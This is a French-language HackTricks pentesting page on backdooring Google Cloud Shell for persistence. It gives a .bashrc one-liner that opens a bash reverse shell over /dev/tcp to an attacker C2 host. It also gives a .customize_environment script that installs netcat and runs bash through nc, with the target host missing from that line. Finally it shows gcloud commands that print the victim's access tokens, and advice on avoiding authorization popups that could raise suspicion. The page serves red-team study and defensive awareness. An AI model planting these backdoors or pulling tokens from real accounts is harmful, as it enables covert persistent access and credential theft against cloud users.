GCP - Cloud Shell Persistance

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Cloud Shell

Pour plus d’informations, consultez :

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell vous fournit un accÚs en ligne de commande à vos ressources cloud directement depuis votre navigateur sans aucun coût associé.

Vous pouvez accéder au Cloud Shell de Google depuis la console web ou en exécutant gcloud cloud-shell ssh.

Cette console présente des capacités intéressantes pour les attaquants :

  1. Any Google user with access to Google Cloud — Tout utilisateur Google ayant accĂšs Ă  Google Cloud a accĂšs Ă  une instance Cloud Shell entiĂšrement authentifiĂ©e (Les Service Accounts peuvent le faire, mĂȘme en Ă©tant Owners de l’org).
  2. L’instance conservera son rĂ©pertoire home pendant au moins 120 jours si aucune activitĂ© n’est dĂ©tectĂ©e.
  3. Il n’existe aucune capacitĂ© pour une organisation de surveiller l’activitĂ© de cette instance.

Cela signifie essentiellement qu’un attaquant peut placer un backdoor dans le rĂ©pertoire home de l’utilisateur et tant que l’utilisateur se connecte au GC Shell au moins tous les 120 jours, le backdoor survivra et l’attaquant obtiendra un shell Ă  chaque exĂ©cution simplement en faisant :

Ajouter une reverse shell dans .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

Il y a un autre fichier dans le dossier home appelĂ© .customize_environment qui, s’il existe, va ĂȘtre exĂ©cutĂ© Ă  chaque fois que l’utilisateur accĂšde au cloud shell (comme dans la technique prĂ©cĂ©dente). Il suffit d’insĂ©rer le backdoor prĂ©cĂ©dent ou un backdoor similaire comme suit pour maintenir la persistance tant que l’utilisateur utilise “frĂ©quemment” le cloud shell :

Créer un backdoor .customize_environment ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Il est important de noter que la premiĂšre fois qu’une action nĂ©cessitant une authentification est effectuĂ©e, une fenĂȘtre contextuelle d’autorisation apparaĂźt dans le navigateur de l’utilisateur. Cette fenĂȘtre doit ĂȘtre acceptĂ©e avant que la commande puisse s’exĂ©cuter. Si une fenĂȘtre contextuelle inattendue apparaĂźt, cela pourrait Ă©veiller les soupçons et compromettre potentiellement la mĂ©thode de persistence utilisĂ©e.

Ceci est la fenĂȘtre contextuelle rĂ©sultant de l’exĂ©cution de gcloud projects list depuis le cloud shell (en tant qu’attaquant) vue dans la session utilisateur du navigateur :

Cependant, si l’utilisateur a activement utilisĂ© le cloudshell, la fenĂȘtre contextuelle n’apparaĂźtra pas et vous pouvez rĂ©cupĂ©rer les tokens de l’utilisateur avec :

Récupérer les access tokens depuis Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Comment la connexion SSH est établie

Essentiellement, ces 3 appels d’API sont utilisĂ©s :

Mais vous pouvez trouver plus d’informations dans https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks